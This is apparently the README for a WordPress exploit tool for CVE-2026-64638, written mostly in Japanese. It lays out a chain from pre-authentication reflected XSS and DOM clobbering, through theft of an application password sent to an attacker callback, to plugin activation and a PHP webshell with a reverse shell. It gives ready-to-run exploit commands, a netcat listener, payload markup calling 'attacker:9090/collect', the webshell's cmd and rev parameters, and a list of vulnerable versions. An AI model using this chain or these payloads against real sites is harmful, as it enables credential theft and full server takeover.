
CVE-2026-64638 — WordPress 認証前の反射型XSS → DOM Clobbering+アプリケーションパスワード窃取+REST APIプラグイン有効化によるRCE。デュアルモードPoC(XSSチェーンおよび直接攻撃)。
WordPress 事前認証反映型XSS → リモートコード実行チェーン
DOM Clobbering + アプリケーションパスワード窃取 + REST API プラグイン有効化 = 完全なRCE
CVE-2026-64638 は、WordPress の wp-login.php における重大な事前認証型反映XSSです。この脆弱性は、ログインエラーメッセージが送信されたユーザー名を適切なHTMLエンコードなしで反映するために存在し、<area id=ajaxurl> によるDOM Clobberingを可能にして、ほとんどのフィルタを回避します。
WordPress のアプリケーションパスワード機能と連鎖させると、このXSSは完全なリモートコード実行ベクタになります — ログイン済みの状態で細工されたトリガーページにアクセスする以外、ユーザーの操作は不要です。
┌─────────────────────────────────────────────────────────────────┐
│ [1] XSS (Reflected) │
│ wp-login.php reflects <area id=ajaxurl> in username error │
│ ↓ │
│ [2] DOM Clobbering │
│ <area id=ajaxurl> hijacks wp-admin JS → auto-submits form │
│ ↓ │
│ [3] Application Password Theft │
│ XSS redirects victim to authorize-application.php │
│ success_url callback captures app password │
│ ↓ │
│ [4] REST API Plugin Activation │
│ App password → Basic Auth → wp-json/wp/v2/plugins → active │
│ ↓ │
│ [5] Webshell RCE │
│ Plugin PHP webshell → uid=33(www-data) │
│ Reverse shell also available │
└─────────────────────────────────────────────────────────────────┘
pip3 install requests
これだけです。その他はすべて Python 3.8+ の標準ライブラリを使用します。
# Clone
git clone https://github.com/linuxhackingid/XSS2Shell-CVE-2026-64638.git
cd XSS2Shell-CVE-2026-64638
# Auto mode (recommended)
python3 poc_fixed_v2.py --mode auto -u USER -p PASS --lhost YOUR_IP http://target.com
python3 poc_fixed_v2.py -u admin -p password123 --lhost 192.168.1.100 http://target.com
# Terminal 1: Run the exploit (starts callback server)
python3 poc_fixed_v2.py --mode xss --lhost 192.168.1.100 http://target.com
# Terminal 2: Host the trigger page
cd /path/to/XSS2Shell-CVE-2026-64638
python3 -m http.server 8000
# Send victim: http://192.168.1.100:8000/trigger_target.com.html
被害者はWordPressに管理者としてログインしている必要があります。トリガーページは次のことを行います:
wp-login.php に自動送信authorize-application.php を開くpython3 poc_fixed_v2.py --mode direct -u admin -p password123 http://target.com
直接ログイン → プラグインアップロード → 即座のWebshell。XSSは不要です。
# In one terminal
nc -lvnp 4444
# In another — the exploit auto-triggers reverse shell when --lhost is set
python3 poc_fixed_v2.py --mode direct -u admin -p pass --lhost 192.168.1.100 --lport 4444 http://target.com
またはWebshell経由で手動実行:
curl 'http://target.com/wp-content/plugins/xss2shell/xss2shell.php?rev=YOUR_IP:4444'
XSS2Shell-CVE-2026-64638/
├── poc_fixed_v2.py # Main exploit script (dual-mode)
├── poc.py # Original PoC (for reference)
├── trigger_192.168.0.87.html # Example trigger page
└── README.md # This file
< area id=ajaxurl shape=default href="http://attacker:9090/collect" >
<button id="wp-auth-check" onclick="window.ajaxurl='http://attacker:9090/collect'">x</button>
仕組み:
sanitize_user() は標準的なHTMLタグを除去しますが、先頭にスペースがある <area> は見逃します<area id=ajaxurl> はDOM Clobberingを実行します — wp-adminのJavaScriptが使用する window.ajaxurl を乗っ取りますwp_auth_check インターバルが発火し、XSSが被害者を authorize-application.php にリダイレクトしますsuccess_url パラメータが生成されたパスワードを攻撃者のコールバックサーバーに送信しますアプリケーションパスワードが取得されると:
/wp-json/wp/v2/ に対して被害者として認証{"status":"active"} を含む POST /wp-json/wp/v2/plugins/{slug}wp-content/plugins/xss2shell/xss2shell.php?cmd=COMMAND にアクセス?rev=IP:PORT が /bin/sh -i を攻撃者に返送このツールは許可されたセキュリティテストおよび研究のみを目的としています。作者は誤用に対する一切の責任を負いません。テストの前に必ず書面による許可を取得してください。
「エクスプロイトがなければ、レポートもない。」 — Shannon方式
| バージョン | ステータス | 備考 |
|---|
| WordPress ≤ 6.9.5 | ✅ 脆弱 | バックポート前のDockerイメージは依然として悪用可能 |
| WordPress 6.9.6+ | ⚠️ パッチ適用済み (2026年8月7日のバックポート) | 8月7日以降に再ビルドされたDockerイメージは修正済み |
| WordPress 7.0.x | ✅ 脆弱 | 7.0.2で確認済み |
| WordPress 7.1+ | ❓ 不明 | 未テスト |
| ターゲット | バージョン | モード | 結果 |
|---|
| Docker (ローカル) | WordPress 7.0.2 | XSSチェーン | ✅ www-data としてRCE |
| Docker (ローカル) | WordPress 7.0.2 | 直接 | ✅ www-data としてRCE |
| Docker (ローカル) | WordPress 6.7 | XSSチェーン | ✅ www-data としてRCE |